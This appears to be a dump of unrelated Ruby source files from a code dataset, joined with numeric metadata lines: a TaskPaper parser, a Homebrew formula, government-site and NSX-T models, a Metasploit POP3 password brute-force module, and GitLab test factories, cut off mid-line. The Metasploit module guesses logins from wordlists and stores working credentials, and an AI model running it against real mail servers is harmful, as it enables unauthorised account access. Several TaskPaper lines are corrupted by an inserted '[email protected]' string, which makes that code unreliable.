#!/usr/bin/ruby require_relative 'taskpaperexportpluginmanager' class TaskPaperItem TYPE_ANY = 0 TYPE_NULL = 1 TYPE_TASK = 2 TYPE_PROJECT = 3 TYPE_NOTE = 4 LINEBREAK_UNIX = "\n" # Unix, Linux, and Mac OS X LINEBREAK_MAC = "\r" # classic Mac OS 9 and older LINEBREAK_WINDOWS = "\r\n" # DOS and Windows @linebreak = LINEBREAK_UNIX @tab_size = 4 # Number of spaces used per indentation level (if tabs aren't used) @convert_atx_headings = false # ie. Markdown "## Headings" to "Projects:" class << self attr_accessor :linebreak, :tab_size, :convert_atx_headings end # If you want to inspect and debug these, may I suggest https://regex101.com ? @@tab_regexp = /^(?:\t|\ {#{TaskPaperItem.tab_size}})+/io @@project_regexp = /^(?>\s*)(?>[^-].*?:)(\s*@\S+)*\s*$/i @@atx_headings_regexp = /^(\s*?)\#+\s*([^:]+?)$/i @@tag_regexp = /\B@((?>[a-zA-Z0-9\.\-_]+))(?:\((.*?(?<!\\))\))?/i @@tags_rstrip_regexp = /(\s*\@[^\.\s\(\)\\]+(\(.+?(?<!\\)\))?){1,}$/i @@uri_regexp = /([a-zA-Z0-9\-_\+\.]+:(?:\/\/)?(?:[a-zA-Z0-9\-_\.\+]+)(?::[a-zA-Z0-9\-_\.\+]+)*@?(?:[a-zA-Z0-9\-]+\.){1,}[a-zA-Z]{2,}(?::\d+)?(?:[\/\?]\S*)?)/i @@email_regexp = /([a-zA-Z0-9\-\_\+\.]+\@\S+\.\S+)/i @@domain_regexp = /((?<!@)\b(?:[a-zA-Z0-9\-]+\.){1,}[a-zA-Z]{2,}(?::\d+)?(?:[\/\?]\S*)?)/i @@link_regexp = /#{@@uri_regexp}|#{@@email_regexp}|#{@@domain_regexp}/io attr_reader :children, :type, :tags, :links attr_accessor :parent, :content, :extra_indent def self.leading_indentation_length(line) # Returns character-length of leading tab/space indentation in line indent_len = 0 match = @@tab_regexp.match(line) if match indent_len = match[0].length end return indent_len end def self.leading_indentation_levels(line) # Returns number of leading tab/space indentation levels in WHITESPACE-ONLY line num_tab_indents = line.scan(/\t/).length num_space_indents = line.scan(/\ {#{TaskPaperItem.tab_size}}/o).length return num_tab_indents + num_space_indents end def initialize(content) Encoding.default_external = "utf-8" # Instance variables if content @content = content.gsub(/[\r\n]+/, '') # full text of item, without linebreak end @type = TYPE_NULL @tags = [] # of {'name', 'value', 'range', 'type':"tag"} tags @links = [] # of {'text', 'url', 'range', 'type':"link"} links; range is within self.content @children = [] @parent = nil @extra_indent = 0 if @content parse end end def parse # private method # Parse @content to populate our instance variables # Leading indentation content_start = TaskPaperItem.leading_indentation_length(@content) if content_start > 0 @extra_indent += TaskPaperItem.leading_indentation_levels(@content[0..content_start]) @content = @content[content_start, @content.length] end # Markdown-style ATX headings conversion if TaskPaperItem.convert_atx_headings heading_match = @@atx_headings_regexp.match(@content) if heading_match @content.gsub!(heading_match[0], "#{heading_match[1]}#{heading_match[2]}:") end end # Type of item if @content.start_with?("- ", "* ") @type = TYPE_TASK elsif @@project_regexp =~ @content @type = TYPE_PROJECT else @type = TYPE_NOTE end # Tags @tags = [] tag_matches = @content.to_enum(:scan, @@tag_regexp).map { Regexp.last_match } tag_matches.each do |match| name = match[1] value = "" if match[2] value = match[2] end range = Range.new(match.begin(0), match.end(0), true) @tags.push({name: name, value: value, range: range, type: "tag"}) end # Links @links = [] link_matches = @content.to_enum(:scan, @@link_regexp).map { Regexp.last_match } link_matches.each do |match| text = match[0] if match[1] != nil #uri url = text elsif match[2] != nil # email url = "mailto:#{text}" else # domain url = "http://#{text}" end range = Range.new(match.begin(0), match.end(0), true) @links.push({text: text, url: url, range: range, type: "link"}) end end private :parse def content=(value) @content = (value) ? value : "" parse end def level # Depth in hierarchy, regardless of extra indentation if @type == TYPE_NULL and !@parent return -1 end level = 0 ancestor = @parent while ancestor != nil and not (ancestor.type == TYPE_NULL and ancestor.parent == nil) level += 1 ancestor = ancestor.parent end return level end def effective_level # Actual (visual) indentation level if !@parent and @type != TYPE_NULL return @extra_indent end parent_indent = -2 # nominal parent of root (-1) item if @parent parent_indent = @parent.effective_level end return parent_indent + 1 + @extra_indent end def project # Returns closest ancestor project project = nil ancestor = @parent while ancestor and ancestor.type != TYPE_NULL if ancestor.type == TYPE_PROJECT project = ancestor break else ancestor = ancestor.parent end end return project end def children_flat(only_type = TaskPaperItem::TYPE_ANY, pre_order = true) # Recursively return a flat array of items, optionally filtered by type # (This is a depth-first traversal; set pre_order to false for post-order) result = [] @children.each do |child| result = result.concat(child.children_flat(only_type, pre_order)) end if @type != TYPE_NULL and only_type and (only_type == TYPE_ANY or only_type == @type) if pre_order result = result.unshift(self) else result = result.push(self) end end return result end def add_child(child) return insert_child(child, -1) end def insert_child(child, index) if index <= @children.length if child.is_a?(String) child = TaskPaperItem.new(child) end @children.insert(index, child) # /facepalm child.parent = self return child end return nil end def add_children(children) result = [] children.each do |child| result.push(insert_child(child, -1)) end return result end def remove_child(index) if index.is_a?(TaskPaperItem) if @children.include?(index) index = @children.index(index) else return index end end if index < @children.length child = @children[index] child.parent = nil @children.delete_at(index) return child end end def remove_children(range) if range.is_a?(Integer) range = range..range end removed = [] (range.last).downto(range.first) { |index| if index < @children.length child = @children[index] removed.push(child) child.parent = nil @children.delete_at(index) end } return removed end def remove_all_children return remove_children(0..(@children.length - 1)) end def previous_sibling sibling = nil if @parent and @parent.type != TYPE_NULL siblings = @parent.children if siblings.length > 1 my_index = siblings.index(self) if my_index > 0 return siblings[my_index - 1] end end end return sibling end def next_sibling sibling = nil if @parent and @parent.type != TYPE_NULL siblings = @parent.children if siblings.length > 1 my_index = siblings.index(self) if my_index < siblings.length - 1 return siblings[my_index + 1] end end end return sibling end def title if @type == TYPE_PROJECT return @content[[email protected](':') - 1] elsif @type == TYPE_TASK return @content[2..-1].gsub(@@tags_rstrip_regexp, '') else return @content end end def md5_hash require 'digest/md5' return Digest::MD5.hexdigest(@content) end def id_attr id = title metadata.each do |x| if x[:type] == "tag" val_str = (x[:value] != "") ? "(#{x[:value]})" : "" id = id.gsub("#{x[:name]}#{val_str}", '') elsif x[:type] == "link" id = id.gsub("#{x[:text]}", '') end end id = id.strip.downcase.gsub(/(&|&amp;)/, ' and ').gsub(/[\s\.\/\\]/, '-').gsub(/[^\w-]/, '').gsub(/[-_]{2,}/, '-').gsub(/^[-_]/, '').gsub(/[-_]$/, '') if id == "" # No content left after stripping tags, links, and special characters. # We'll use an MD5 hash of the full line. id = md5_hash end return id end def metadata # Return unified array of tags and links, ordered by position in line metadata = @tags + @links return metadata.sort_by { |e| e[:range].begin } end def type_name if @type == TYPE_PROJECT return "Project" elsif @type == TYPE_TASK return "Task" elsif @type == TYPE_NOTE return "Note" else return "Null" end end def to_s return @content end def inspect output = "[#{(self.effective_level)}] #{self.type_name}: #{self.title}" if @tags.length > 0 output += " tags: #{@tags}" end if @links.length > 0 output += " links: #{@links}" end if @children.length > 0 output += " [#{@children.length} child#{(@children.length == 1) ? "" : "ren"}]" end if self.done? output += " [DONE]" end return output end def change_to(new_type) # Takes a type constant, e.g. TYPE_TASK etc. if (@type != TYPE_NULL and @type != TYPE_ANY and new_type != TYPE_NULL and new_type != TYPE_ANY and @type != new_type) # Use note as our base type if @type == TYPE_TASK # Strip task prefix @content = @content[2..-1] elsif @type == TYPE_PROJECT # Strip rightmost colon rightmost_colon_index = @content.rindex(":") if rightmost_colon_index != nil @content[rightmost_colon_index, 1] = "" end end if new_type == TYPE_TASK # Add task prefix @content = "- #{@content}" elsif new_type == TYPE_PROJECT # Add colon insertion_index = -1 match = @content.match(@@tags_rstrip_regexp) if match insertion_index = match.begin(0) else last_non_whitespace_char_index = @content.rindex(/\S/i) if last_non_whitespace_char_index != nil insertion_index = last_non_whitespace_char_index + 1 end end @content[insertion_index, 0] = ":" end parse end end def tag_value(name) # Returns value of tag 'name', or empty string if either the tag exists but has no value, or the tag doesn't exist at all. value = "" tag = @tags.find {|x| x[:name].downcase == name} if tag value = tag[:value] end return value end def has_tag?(name) return (@tags.find {|x| x[:name].downcase == name} != nil) end def done? return has_tag?("done") end def is_done? return done? end def set_done(val = true) is_done = done? if val == true and !is_done set_tag("done") elsif val == false and is_done remove_tag("done") end end def toggle_done set_done(!(done?)) end def tag_string(name, value = "") val = (value != "") ? "(#{value})" : "" return "@#{name}#{val}" end def set_tag(name, value = "", force_new = false) # If tag doesn't already exist, add it at the end of content. # If tag does exist, replace its range with new form of the tag via tag_string. value = (value != nil) ? value : "" new_tag = tag_string(name, value) if has_tag?(name) and !force_new tag = @tags.find {|x| x[:name].downcase == name} @content[tag[:range]] = new_tag else @content += " #{new_tag}" end parse end def add_tag(name, value = "", force_new = true) # This method, unlike set_tag_, defaults to adding a new tag even if a tag of the same name already exists. set_tag(name, value, force_new) end def remove_tag(name) if has_tag?(name) # Use range(s), in reverse order. @tags.reverse.each do |tag| if tag[:name] == name strip_tag(tag) end end parse end end def remove_all_tags @tags.reverse.each do |tag| strip_tag(tag) end parse end def strip_tag(tag) # private method # Takes a tag hash, and removes the tag from @content # Does not perform a #parse, but we should do so afterwards. # If calling multiple times before a #parse, do so in reverse order in @content. range = tag[:range] whitespace_regexp = /\s/i content_len = @content.length tag_start = range.begin tag_end = range.end whitespace_before = (tag_start > 0 and (whitespace_regexp =~ @content[tag_start - 1]) != nil) whitespace_after = (tag_end < content_len - 1 and (whitespace_regexp =~ @content[tag_end]) != nil) if whitespace_before and whitespace_after # If tag has whitespace before and after, also remove the whitespace before. range = Range.new(tag_start - 1, tag_end, true) elsif tag_start == 0 and whitespace_after # If tag is at start of line and has whitespace after, also remove the whitespace after. range = Range.new(tag_start, tag_end + 1, true) elsif tag_end == content_len - 1 and whitespace_before # If tag is at end of line and has whitespace before, also remove the whitespace before. range = Range.new(tag_start - 1, tag_end, true) end @content[range] = "" end private :strip_tag def total_tag_values(tag_name, always_update = false) # Returns recursive total of numerical values of the given tag. # If tag is present, its value will be updated according to recursive total of its descendants. If always_update is true, tag value will be set even if it wasn't present. # Leaf elements without the relevant tag are counted as zero. # Tag values on branch elements are ignored, and overwritten with their descendants' recursive total. total = 0 if tag_name and tag_name != "" has_tag = has_tag?(tag_name) if @type != TYPE_NULL and @children.length == 0 if has_tag val_match = /\d+/i.match(tag_value(tag_name)) if val_match val = val_match[0].to_i total += val end end end @children.each do |child| total += child.total_tag_values(tag_name, always_update) end if @type != TYPE_NULL if has_tag or always_update set_tag(tag_name, total) end end end return total end def to_structure(include_titles = true) # Indented text output with items labelled by type, and project/task decoration stripped # Output own content, then children output = "" if @type != TYPE_NULL suffix = (include_titles) ? " #{title}" : "" output += "#{"\t" * (self.effective_level)}[#{type_name}]#{suffix}#{TaskPaperItem.linebreak}" end @children.each do |child| output += child.to_structure(include_titles) end return output end def to_tags(include_values = true) # Indented text output with just item types, tags, and values # Output own content, then children output = "" if @type != TYPE_NULL output += "#{"\t" * (self.effective_level)}[#{type_name}] " if @tags.length > 0 @tags.each_with_index do |tag, index| output += "@#{tag[:name]}" if include_values and tag[:value].length > 0 output += "(#{tag[:value]})" end if index < @tags.length - 1 output += ", " end end else output += "(none)" end output += "#{TaskPaperItem.linebreak}" end @children.each do |child| output += child.to_tags(include_values) end return output end def all_tags(with_values = true, prefixed = false) # Text output with just item tags # Output own content, then children output = [] if @type != TYPE_NULL if @tags.length > 0 prefix = (prefixed) ? "@" : "" @tags.each do |tag| tag_value = "" if (with_values) tag_val = tag_value(tag[:name]) end value_suffix = (with_values and tag_val != "") ? "(#{tag_val})" : "" output.push("#{prefix}#{tag[:name]}#{value_suffix}") end end end @children.each do |child| output += child.all_tags(with_values, prefixed) end return output end def to_links(add_missing_protocols = true) # Text output with just item links # Bare domains (domain.com) or email addresses ([email protected]) are included; the add_missing_protocols parameter will prepend "http://" or "mailto:" as appropriate. # Output own content, then children output = "" if @type != TYPE_NULL if @links.length > 0 key = (add_missing_protocols) ? :url : :text @links.each do |link| output += "#{link[key]}#{TaskPaperItem.linebreak}" end end end @children.each do |child| output += child.to_links(add_missing_protocols) end return output end def to_text # Indented text output of original content, with normalised (tab) indentation # Output own content, then children output = "" if @type != TYPE_NULL converted_content = TaskPaperExportPluginManager.process_text(self, @content, TaskPaperExportPlugin::OUTPUT_TYPE_TEXT) output += "#{"\t" * (self.effective_level)}#{converted_content}#{TaskPaperItem.linebreak}" end @children.each do |child| output += child.to_text end return output end def to_json # Hierarchical output of content as JSON: http://json.org output = "" if @type != TYPE_NULL converted_content = TaskPaperExportPluginManager.process_text(self, @content, TaskPaperExportPlugin::OUTPUT_TYPE_JSON) converted_content = json_escape(converted_content) output += "{" output += "\"content\": \"#{converted_content}\",#{TaskPaperItem.linebreak}" output += "\"title\": \"#{json_escape(title)}\",#{TaskPaperItem.linebreak}" output += "\"type\": \"#{@type}\",#{TaskPaperItem.linebreak}" output += "\"type_name\": \"#{type_name}\",#{TaskPaperItem.linebreak}" output += "\"id_attr\": \"#{json_escape(id_attr)}\",#{TaskPaperItem.linebreak}" output += "\"md5_hash\": \"#{json_escape(md5_hash)}\",#{TaskPaperItem.linebreak}" output += "\"level\": #{level},#{TaskPaperItem.linebreak}" output += "\"effective_level\": #{effective_level},#{TaskPaperItem.linebreak}" output += "\"extra_indent\": #{@extra_indent},#{TaskPaperItem.linebreak}" output += "\"done\": #{done?},#{TaskPaperItem.linebreak}" output += "\"tags\": [" @tags.each_with_index do |x, index| output += "{" output += "\"type\": \"#{x[:type]}\"," output += "\"name\": \"#{json_escape(x[:name])}\"," output += "\"value\": \"#{json_escape(x[:value])}\"," output += "\"begin\": #{x[:range].begin}," output += "\"end\": #{x[:range].end}" output += "}" if index < @tags.length - 1 output += ", " end end output += "],#{TaskPaperItem.linebreak}" output += "\"links\": [" @links.each_with_index do |x, index| output += "{" output += "\"type\": \"#{x[:type]}\"," output += "\"text\": \"#{json_escape(x[:text])}\"," output += "\"url\": \"#{json_escape(x[:url])}\"," output += "\"begin\": #{x[:range].begin}," output += "\"end\": #{x[:range].end}" output += "}" if index < @links.length - 1 output += ", " end end output += "],#{TaskPaperItem.linebreak}" output += "\"children\": " end output += "[" @children.each_with_index do |child, index| output += child.to_json if index < @children.length - 1 output += ", " end end output += "]" if @type != TYPE_NULL output += "}" end return output end def json_escape(str) result = str.gsub(/\\/i, "\\\\\\").gsub(/(?<!\\)\"/i, "\\\"") return result end private :json_escape end
26.44675
172
0.638199
bf029630549d790e075cf8a3e02c170b853e0361
1,274
class Src < Formula homepage "http://www.catb.org/~esr/src/" url "http://www.catb.org/~esr/src/src-0.19.tar.gz" sha256 "3d9c5c2fe816b3f273aab17520b917a774e90776c766f165efb6ae661378a65c" head "git://thyrsus.com/repositories/src.git" bottle do cellar :any sha256 "654b13895e6e8e7c1f99a007a17d0c6ab26625e2dd732631016dcaeddd5d942d" => :yosemite sha256 "91d3fd19e7d8189930d72f03ab1b092a1291252b47076c72c1c1988f69d822e5" => :mavericks sha256 "22e3c9dd3842b0d308c56832a04116f7ce8b0a6055a95c4b42c2d3548f02fe5d" => :mountain_lion end conflicts_with "srclib", :because => "both install a 'src' binary" depends_on "rcs" depends_on "asciidoc" if build.head? def install # OSX doesn't provide a /usr/bin/python2. Upstream has been notified but # cannot fix the issue. See: # https://github.com/Homebrew/homebrew/pull/34165#discussion_r22342214 inreplace "src", "#!/usr/bin/env python2", "#!/usr/bin/env python" if build.head? ENV["XML_CATALOG_FILES"] = HOMEBREW_PREFIX/"etc/xml/catalog" end system "make", "install", "prefix=#{prefix}" end test do (testpath/"test.txt").write "foo" system "#{bin}/src", "commit", "-m", "hello", "test.txt" system "#{bin}/src", "status", "test.txt" end end
32.666667
95
0.710361
e98a246b803effd3da55dc95ef28035a556f411c
1,597
class Speech < Announcement include Edition::Appointment include Edition::HasDocumentCollections include Edition::CanApplyToLocalGovernmentThroughRelatedPolicies include LeadImagePresenterHelper validates :speech_type_id, presence: true validates :delivered_on, presence: true, unless: ->(speech) { speech.can_have_some_invalid_data? } delegate :display_type_key, :explanation, to: :speech_type def self.subtypes SpeechType.all end def self.by_subtype(subtype) where(speech_type_id: subtype.id) end def self.by_subtypes(subtype_ids) where(speech_type_id: subtype_ids) end def search_format_types super + [Speech.search_format_type] + speech_type.search_format_types end def search_index super.merge( "image_url" => lead_image_url, ) end def speech_type SpeechType.find_by_id(speech_type_id) end def speech_type=(speech_type) self.speech_type_id = speech_type.id if speech_type end def display_type if speech_type.statement_to_parliament? "Statement to Parliament" else super end end def translatable? !non_english_edition? end def delivered_by_minister? role_appointment && role_appointment.role && role_appointment.role.ministerial? end def rendering_app Whitehall::RenderingApp::GOVERNMENT_FRONTEND end private def date_for_government if delivered_on && delivered_on.past? delivered_on.to_date else super end end def skip_organisation_validation? can_have_some_invalid_data? || person_override.present? end end
21.013158
100
0.74953
1c82eb7adc8987e79e6f08e4e0ee856f771b78be
8,455
=begin #NSX-T Manager API #VMware NSX-T Manager REST API OpenAPI spec version: 2.5.1.0.0 Generated by: https://github.com/swagger-api/swagger-codegen.git Swagger Codegen version: 2.4.7 =end require 'date' module NSXT # Backup operation status class BackupOperationStatus # Unique identifier of a backup attr_accessor :backup_id # Time when operation was ended attr_accessor :end_time # True if backup is successfully completed, else false attr_accessor :success # Time when operation was started attr_accessor :start_time # Error code details attr_accessor :error_message # Error code attr_accessor :error_code class EnumAttributeValidator attr_reader :datatype attr_reader :allowable_values def initialize(datatype, allowable_values) @allowable_values = allowable_values.map do |value| case datatype.to_s when /Integer/i value.to_i when /Float/i value.to_f else value end end end def valid?(value) !value || allowable_values.include?(value) end end # Attribute mapping from ruby-style variable name to JSON key. def self.attribute_map { :'backup_id' => :'backup_id', :'end_time' => :'end_time', :'success' => :'success', :'start_time' => :'start_time', :'error_message' => :'error_message', :'error_code' => :'error_code' } end # Attribute type mapping. def self.swagger_types { :'backup_id' => :'String', :'end_time' => :'Integer', :'success' => :'BOOLEAN', :'start_time' => :'Integer', :'error_message' => :'String', :'error_code' => :'String' } end # Initializes the object # @param [Hash] attributes Model attributes in the form of hash def initialize(attributes = {}) return unless attributes.is_a?(Hash) # convert string to symbol for hash key attributes = attributes.each_with_object({}) { |(k, v), h| h[k.to_sym] = v } if attributes.has_key?(:'backup_id') self.backup_id = attributes[:'backup_id'] end if attributes.has_key?(:'end_time') self.end_time = attributes[:'end_time'] end if attributes.has_key?(:'success') self.success = attributes[:'success'] end if attributes.has_key?(:'start_time') self.start_time = attributes[:'start_time'] end if attributes.has_key?(:'error_message') self.error_message = attributes[:'error_message'] end if attributes.has_key?(:'error_code') self.error_code = attributes[:'error_code'] end end # Show invalid properties with the reasons. Usually used together with valid? # @return Array for valid properties with the reasons def list_invalid_properties invalid_properties = Array.new if @backup_id.nil? invalid_properties.push('invalid value for "backup_id", backup_id cannot be nil.') end if @success.nil? invalid_properties.push('invalid value for "success", success cannot be nil.') end invalid_properties end # Check to see if the all the properties in the model are valid # @return true if the model is valid def valid? return false if @backup_id.nil? return false if @success.nil? error_code_validator = EnumAttributeValidator.new('String', ['BACKUP_NOT_RUN_ON_MASTER', 'BACKUP_SERVER_UNREACHABLE', 'BACKUP_AUTHENTICATION_FAILURE', 'BACKUP_PERMISSION_ERROR', 'BACKUP_TIMEOUT', 'BACKUP_BAD_FINGERPRINT', 'BACKUP_GENERIC_ERROR']) return false unless error_code_validator.valid?(@error_code) true end # Custom attribute writer method checking allowed values (enum). # @param [Object] error_code Object to be assigned def error_code=(error_code) validator = EnumAttributeValidator.new('String', ['BACKUP_NOT_RUN_ON_MASTER', 'BACKUP_SERVER_UNREACHABLE', 'BACKUP_AUTHENTICATION_FAILURE', 'BACKUP_PERMISSION_ERROR', 'BACKUP_TIMEOUT', 'BACKUP_BAD_FINGERPRINT', 'BACKUP_GENERIC_ERROR']) unless validator.valid?(error_code) fail ArgumentError, 'invalid value for "error_code", must be one of #{validator.allowable_values}.' end @error_code = error_code end # Checks equality by comparing each attribute. # @param [Object] Object to be compared def ==(o) return true if self.equal?(o) self.class == o.class && backup_id == o.backup_id && end_time == o.end_time && success == o.success && start_time == o.start_time && error_message == o.error_message && error_code == o.error_code end # @see the `==` method # @param [Object] Object to be compared def eql?(o) self == o end # Calculates hash code according to all attributes. # @return [Fixnum] Hash code def hash [backup_id, end_time, success, start_time, error_message, error_code].hash end # Builds the object from hash # @param [Hash] attributes Model attributes in the form of hash # @return [Object] Returns the model itself def build_from_hash(attributes) return nil unless attributes.is_a?(Hash) self.class.swagger_types.each_pair do |key, type| if type =~ /\AArray<(.*)>/i # check to ensure the input is an array given that the the attribute # is documented as an array but the input is not if attributes[self.class.attribute_map[key]].is_a?(Array) self.send("#{key}=", attributes[self.class.attribute_map[key]].map { |v| _deserialize($1, v) }) end elsif !attributes[self.class.attribute_map[key]].nil? self.send("#{key}=", _deserialize(type, attributes[self.class.attribute_map[key]])) end # or else data not found in attributes(hash), not an issue as the data can be optional end self end # Deserializes the data based on type # @param string type Data type # @param string value Value to be deserialized # @return [Object] Deserialized data def _deserialize(type, value) case type.to_sym when :DateTime DateTime.parse(value) when :Date Date.parse(value) when :String value.to_s when :Integer value.to_i when :Float value.to_f when :BOOLEAN if value.to_s =~ /\A(true|t|yes|y|1)\z/i true else false end when :Object # generic object (usually a Hash), return directly value when /\AArray<(?<inner_type>.+)>\z/ inner_type = Regexp.last_match[:inner_type] value.map { |v| _deserialize(inner_type, v) } when /\AHash<(?<k_type>.+?), (?<v_type>.+)>\z/ k_type = Regexp.last_match[:k_type] v_type = Regexp.last_match[:v_type] {}.tap do |hash| value.each do |k, v| hash[_deserialize(k_type, k)] = _deserialize(v_type, v) end end else # model temp_model = NSXT.const_get(type).new temp_model.build_from_hash(value) end end # Returns the string representation of the object # @return [String] String presentation of the object def to_s to_hash.to_s end # to_body is an alias to to_hash (backward compatibility) # @return [Hash] Returns the object in the form of hash def to_body to_hash end # Returns the object in the form of hash # @return [Hash] Returns the object in the form of hash def to_hash hash = {} self.class.attribute_map.each_pair do |attr, param| value = self.send(attr) next if value.nil? hash[param] = _to_hash(value) end hash end # Outputs non-array value in the form of hash # For object, use to_hash. Otherwise, just return the value # @param [Object] value Any valid value # @return [Hash] Returns the value in the form of hash def _to_hash(value) if value.is_a?(Array) value.compact.map { |v| _to_hash(v) } elsif value.is_a?(Hash) {}.tap do |hash| value.each { |k, v| hash[k] = _to_hash(v) } end elsif value.respond_to? :to_hash value.to_hash else value end end end end
30.196429
252
0.627321
33719dfb96faa04d1c8e8472b21d59d54dc3c993
3,754
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'metasploit/framework/login_scanner/pop3' require 'metasploit/framework/credential_collection' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report include Msf::Auxiliary::AuthBrute def initialize super( 'Name' => 'POP3 Login Utility', 'Description' => 'This module attempts to authenticate to an POP3 service.', 'Author' => [ 'Heyder Andrade <heyder[at]alligatorteam.org>' ], 'References' => [ ['URL', 'http://www.ietf.org/rfc/rfc1734.txt'], ['URL', 'http://www.ietf.org/rfc/rfc1939.txt'], ], 'License' => MSF_LICENSE ) register_options( [ Opt::RPORT(110), OptPath.new('USER_FILE', [ false, 'The file that contains a list of probable users accounts.', File.join(Msf::Config.install_root, 'data', 'wordlists', 'unix_users.txt') ]), OptPath.new('PASS_FILE', [ false, 'The file that contains a list of probable passwords.', File.join(Msf::Config.install_root, 'data', 'wordlists', 'unix_passwords.txt') ]) ], self.class) end def target "#{rhost}:#{rport}" end def run_host(ip) cred_collection = Metasploit::Framework::CredentialCollection.new( blank_passwords: datastore['BLANK_PASSWORDS'], pass_file: datastore['PASS_FILE'], password: datastore['PASSWORD'], user_file: datastore['USER_FILE'], userpass_file: datastore['USERPASS_FILE'], username: datastore['USERNAME'], user_as_pass: datastore['USER_AS_PASS'], ) cred_collection = prepend_db_passwords(cred_collection) scanner = Metasploit::Framework::LoginScanner::POP3.new( host: ip, port: rport, ssl: datastore['SSL'], cred_details: cred_collection, stop_on_success: datastore['STOP_ON_SUCCESS'], bruteforce_speed: datastore['BRUTEFORCE_SPEED'], max_send_size: datastore['TCP::max_send_size'], send_delay: datastore['TCP::send_delay'], framework: framework, framework_module: self, ssl: datastore['SSL'], ssl_version: datastore['SSLVersion'], ssl_verify_mode: datastore['SSLVerifyMode'], ssl_cipher: datastore['SSLCipher'], local_port: datastore['CPORT'], local_host: datastore['CHOST'] ) scanner.scan! do |result| credential_data = result.to_h credential_data.merge!( module_fullname: self.fullname, workspace_id: myworkspace_id ) case result.status when Metasploit::Model::Login::Status::SUCCESSFUL print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}' '#{result.proof.to_s.gsub(/[\r\n\e\b\a]/, ' ')}'" credential_core = create_credential(credential_data) credential_data[:core] = credential_core create_credential_login(credential_data) next when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT if datastore['VERBOSE'] print_brute :level => :verror, :ip => ip, :msg => "Could not connect: #{result.proof}" end when Metasploit::Model::Login::Status::INCORRECT if datastore['VERBOSE'] print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}', '#{result.proof.to_s.chomp}'" end end # If we got here, it didn't work invalidate_login(credential_data) end end def service_name datastore['SSL'] ? 'pop3s' : 'pop3' end end
31.024793
138
0.636388
7af8dbe1a5bd63e5f7723e4ba16f70a78fc81760
7,019
FactoryGirl.define do # Project without repository # # Project does not have bare repository. # Use this factory if you don't need repository in tests factory :empty_project, class: 'Project' do sequence(:name) { |n| "project#{n}" } path { name.downcase.gsub(/\s/, '_') } namespace creator # Behaves differently to nil due to cache_has_external_issue_tracker has_external_issue_tracker false trait :public do visibility_level Gitlab::VisibilityLevel::PUBLIC end trait :internal do visibility_level Gitlab::VisibilityLevel::INTERNAL end trait :private do visibility_level Gitlab::VisibilityLevel::PRIVATE end trait :archived do archived true end trait :access_requestable do request_access_enabled true end trait :with_avatar do avatar { File.open(Rails.root.join('spec/fixtures/dk.png')) } end trait :repository do # no-op... for now! end trait :empty_repo do after(:create) do |project| project.create_repository # We delete hooks so that gitlab-shell will not try to authenticate with # an API that isn't running FileUtils.rm_r(File.join(project.repository_storage_path, "#{project.path_with_namespace}.git", 'hooks')) end end trait :broken_repo do after(:create) do |project| project.create_repository FileUtils.rm_r(File.join(project.repository_storage_path, "#{project.path_with_namespace}.git", 'refs')) end end trait :test_repo do after :create do |project| TestEnv.copy_repo(project) end end trait(:wiki_enabled) { wiki_access_level ProjectFeature::ENABLED } trait(:wiki_disabled) { wiki_access_level ProjectFeature::DISABLED } trait(:wiki_private) { wiki_access_level ProjectFeature::PRIVATE } trait(:builds_enabled) { builds_access_level ProjectFeature::ENABLED } trait(:builds_disabled) { builds_access_level ProjectFeature::DISABLED } trait(:builds_private) { builds_access_level ProjectFeature::PRIVATE } trait(:snippets_enabled) { snippets_access_level ProjectFeature::ENABLED } trait(:snippets_disabled) { snippets_access_level ProjectFeature::DISABLED } trait(:snippets_private) { snippets_access_level ProjectFeature::PRIVATE } trait(:issues_disabled) { issues_access_level ProjectFeature::DISABLED } trait(:issues_enabled) { issues_access_level ProjectFeature::ENABLED } trait(:issues_private) { issues_access_level ProjectFeature::PRIVATE } trait(:merge_requests_enabled) { merge_requests_access_level ProjectFeature::ENABLED } trait(:merge_requests_disabled) { merge_requests_access_level ProjectFeature::DISABLED } trait(:merge_requests_private) { merge_requests_access_level ProjectFeature::PRIVATE } trait(:repository_enabled) { repository_access_level ProjectFeature::ENABLED } trait(:repository_disabled) { repository_access_level ProjectFeature::DISABLED } trait(:repository_private) { repository_access_level ProjectFeature::PRIVATE } # Nest Project Feature attributes transient do wiki_access_level ProjectFeature::ENABLED builds_access_level ProjectFeature::ENABLED snippets_access_level ProjectFeature::ENABLED issues_access_level ProjectFeature::ENABLED merge_requests_access_level ProjectFeature::ENABLED repository_access_level ProjectFeature::ENABLED end after(:create) do |project, evaluator| # Builds and MRs can't have higher visibility level than repository access level. builds_access_level = [evaluator.builds_access_level, evaluator.repository_access_level].min merge_requests_access_level = [evaluator.merge_requests_access_level, evaluator.repository_access_level].min project.project_feature. update_attributes!( wiki_access_level: evaluator.wiki_access_level, builds_access_level: builds_access_level, snippets_access_level: evaluator.snippets_access_level, issues_access_level: evaluator.issues_access_level, merge_requests_access_level: merge_requests_access_level, repository_access_level: evaluator.repository_access_level ) end end # Project with empty repository # # This is a case when you just created a project # but not pushed any code there yet factory :project_empty_repo, parent: :empty_project do empty_repo end # Project with broken repository # # Project with an invalid repository state factory :project_broken_repo, parent: :empty_project do broken_repo end # Project with test repository # # Test repository source can be found at # https://gitlab.com/gitlab-org/gitlab-test factory :project, parent: :empty_project do path { 'gitlabhq' } test_repo transient do create_template nil end after :create do |project, evaluator| TestEnv.copy_repo(project) if evaluator.create_template args = evaluator.create_template project.add_user(args[:user], args[:access]) project.repository.create_file( args[:user], ".gitlab/#{args[:path]}/bug.md", 'something valid', message: 'test 3', branch_name: 'master') project.repository.create_file( args[:user], ".gitlab/#{args[:path]}/template_test.md", 'template_test', message: 'test 1', branch_name: 'master') project.repository.create_file( args[:user], ".gitlab/#{args[:path]}/feature_proposal.md", 'feature_proposal', message: 'test 2', branch_name: 'master') end end end factory :forked_project_with_submodules, parent: :empty_project do path { 'forked-gitlabhq' } after :create do |project| TestEnv.copy_forked_repo_with_submodules(project) end end factory :redmine_project, parent: :project do has_external_issue_tracker true after :create do |project| project.create_redmine_service( active: true, properties: { 'project_url' => 'http://redmine/projects/project_name_in_redmine', 'issues_url' => "http://redmine/#{project.id}/project_name_in_redmine/:id", 'new_issue_url' => 